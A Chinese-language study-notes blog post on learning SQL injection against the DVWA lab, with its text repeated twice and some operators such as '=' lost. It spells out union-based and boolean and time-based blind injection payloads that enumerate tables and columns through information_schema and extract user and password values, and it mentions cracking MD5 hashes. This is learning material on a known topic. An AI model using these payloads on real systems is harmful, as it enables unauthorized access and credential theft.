SQL注入思路1判断是字符型还是数字型确定是否需要闭合单引号’2判断字段数 为后续联合查询确定字段数防止出现语法错误3联合查询 union select判断回显位置 1 union select 1,2查询当前的数据库名操作当前数据库的用户名查询数据库的版本操作系统确定下一步的操作因为不同数据库版本和操作系统的语法和注入方式不同4获取表名用于猜测敏感数据来源于那张表MySQL数据的自带表information_schema.tables里面的所有表名5获取表中的字段名6获取表中的敏感数据额外知识点information_schema.tables 完整写法数据库名.表名表示在 information_schema 数据库中的 tables 表。在测试注入点是字符还是数字型时注入1abcd输出正常结果是因为在代码中确定了参数的类型比如int id这样abcd就会被截断在查information_schema.tables表中的数据时在联合查询两边极易出现排序规则不相同从而报错可以在查询的字段中使用HEX字段名进行16进制编码解决但最后需要进行解码各大主流数据库MySQL、SQL Server、PostgreSQL、Oracle都遵循这一原则但它们的判断严格程度却各有不同MD5 是一种常见的哈希算法用于将任意长度的数据转换为固定长度的 32 位十六进制字符串。在 DVWA 中用户的密码通常以 MD5 形式存储在数据库中。用于加密order by后面除了跟字段名还可以跟数字确定字段数header() 主要就是用来发送两类信息状态码比如 200 OK、404 Not Found、500 Internal Server Error→ 告诉浏览器“这次请求的结果是什么状态”。头部字段比如 Content-Type: text/html、Location:https://...→ 告诉浏览器“返回的内容是什么格式”、“要不要跳转”、“怎么缓存”等。md5的编解码网址md5在线解密破解,md5解密加密盲注主要是没有回显的数据只能靠猜测数据的长度每个位对应的ASCII的值从而猜出数据1判断是字符还是数字类型2猜解当前的数据库名称1 and length(database())1 and ascii(substr(database(),1,1))在 SQL 中SUBSTR(string, start, length) 函数的作用是从字符串中截取一段。第一个1是从第几个字母开始第二个1是往后取几个字母3猜解当前数据库中表的数量1 and (select count(table_name) from information_schema.tables where table_schemadatabase())4猜解表名称的长度1.查询列出当前连接数据库下的所有表名称select table_name from information_schema.tables where table_schemadatabase()#2.列出当前连接数据库中的第1个表名称select table_name from information_schema.tables where table_schemadatabase() limit 0,1#3.以当前连接数据库第1个表的名称作为字符串从该字符串的第一个字符开始截取其全部字符所以不用写lengthsubstr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1) #4.计算所截取当前连接数据库第1个表名称作为字符串的长度值length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))#5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件联合and逻辑构造特定的sql语句进行查询根据查询返回结果猜解表名称的长度值1 and length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))5表名称的字符组成1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))6猜解表中的字段名1 and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers)1 and length(substr((select column_name from information_schema.columns where table_name users limit 0,1),1))1’ and (select count( * ) from information_schema.columns where table_schemadatabase() and table_name’users’ and column_name’user’) 1’ and (select count( * ) from information_schema.columns where table_schemadatabase() and table_name’users’ and column_name’password’)常见情况其他数据就需要猜每个字段名的每一个字母用户名user/username/uname/u_name/name/…密码password/pass_word/pwd/pass/…7获取表中的字段值(数据)1 and length(substr((select user from users limit 0,1),1))1 and ascii(substr((select user from users limit 0,1),1,1))XXX #如果等于32位可能是MD5加密很难猜出来时间的盲注把布尔盲注的语句插入if(expr1,expr2,expr3)函数中的expr1如果 expr1 是真 则 if()的返回值为expr2; 否则返回值则为 expr3。if() 的返回值为数字值或字符串值if语句sleep1即语句为真就延时否则不延时补充我感觉不用查出数据库的名称后续直接用database()就行
入门SQL注入的笔记与思考
发布时间:2026/6/25 14:24:54
SQL注入思路1判断是字符型还是数字型确定是否需要闭合单引号’2判断字段数 为后续联合查询确定字段数防止出现语法错误3联合查询 union select判断回显位置 1 union select 1,2查询当前的数据库名操作当前数据库的用户名查询数据库的版本操作系统确定下一步的操作因为不同数据库版本和操作系统的语法和注入方式不同4获取表名用于猜测敏感数据来源于那张表MySQL数据的自带表information_schema.tables里面的所有表名5获取表中的字段名6获取表中的敏感数据额外知识点information_schema.tables 完整写法数据库名.表名表示在 information_schema 数据库中的 tables 表。在测试注入点是字符还是数字型时注入1abcd输出正常结果是因为在代码中确定了参数的类型比如int id这样abcd就会被截断在查information_schema.tables表中的数据时在联合查询两边极易出现排序规则不相同从而报错可以在查询的字段中使用HEX字段名进行16进制编码解决但最后需要进行解码各大主流数据库MySQL、SQL Server、PostgreSQL、Oracle都遵循这一原则但它们的判断严格程度却各有不同MD5 是一种常见的哈希算法用于将任意长度的数据转换为固定长度的 32 位十六进制字符串。在 DVWA 中用户的密码通常以 MD5 形式存储在数据库中。用于加密order by后面除了跟字段名还可以跟数字确定字段数header() 主要就是用来发送两类信息状态码比如 200 OK、404 Not Found、500 Internal Server Error→ 告诉浏览器“这次请求的结果是什么状态”。头部字段比如 Content-Type: text/html、Location:https://...→ 告诉浏览器“返回的内容是什么格式”、“要不要跳转”、“怎么缓存”等。md5的编解码网址md5在线解密破解,md5解密加密盲注主要是没有回显的数据只能靠猜测数据的长度每个位对应的ASCII的值从而猜出数据1判断是字符还是数字类型2猜解当前的数据库名称1 and length(database())1 and ascii(substr(database(),1,1))在 SQL 中SUBSTR(string, start, length) 函数的作用是从字符串中截取一段。第一个1是从第几个字母开始第二个1是往后取几个字母3猜解当前数据库中表的数量1 and (select count(table_name) from information_schema.tables where table_schemadatabase())4猜解表名称的长度1.查询列出当前连接数据库下的所有表名称select table_name from information_schema.tables where table_schemadatabase()#2.列出当前连接数据库中的第1个表名称select table_name from information_schema.tables where table_schemadatabase() limit 0,1#3.以当前连接数据库第1个表的名称作为字符串从该字符串的第一个字符开始截取其全部字符所以不用写lengthsubstr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1) #4.计算所截取当前连接数据库第1个表名称作为字符串的长度值length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))#5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件联合and逻辑构造特定的sql语句进行查询根据查询返回结果猜解表名称的长度值1 and length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))5表名称的字符组成1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))6猜解表中的字段名1 and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers)1 and length(substr((select column_name from information_schema.columns where table_name users limit 0,1),1))1’ and (select count( * ) from information_schema.columns where table_schemadatabase() and table_name’users’ and column_name’user’) 1’ and (select count( * ) from information_schema.columns where table_schemadatabase() and table_name’users’ and column_name’password’)常见情况其他数据就需要猜每个字段名的每一个字母用户名user/username/uname/u_name/name/…密码password/pass_word/pwd/pass/…7获取表中的字段值(数据)1 and length(substr((select user from users limit 0,1),1))1 and ascii(substr((select user from users limit 0,1),1,1))XXX #如果等于32位可能是MD5加密很难猜出来时间的盲注把布尔盲注的语句插入if(expr1,expr2,expr3)函数中的expr1如果 expr1 是真 则 if()的返回值为expr2; 否则返回值则为 expr3。if() 的返回值为数字值或字符串值if语句sleep1即语句为真就延时否则不延时补充我感觉不用查出数据库的名称后续直接用database()就行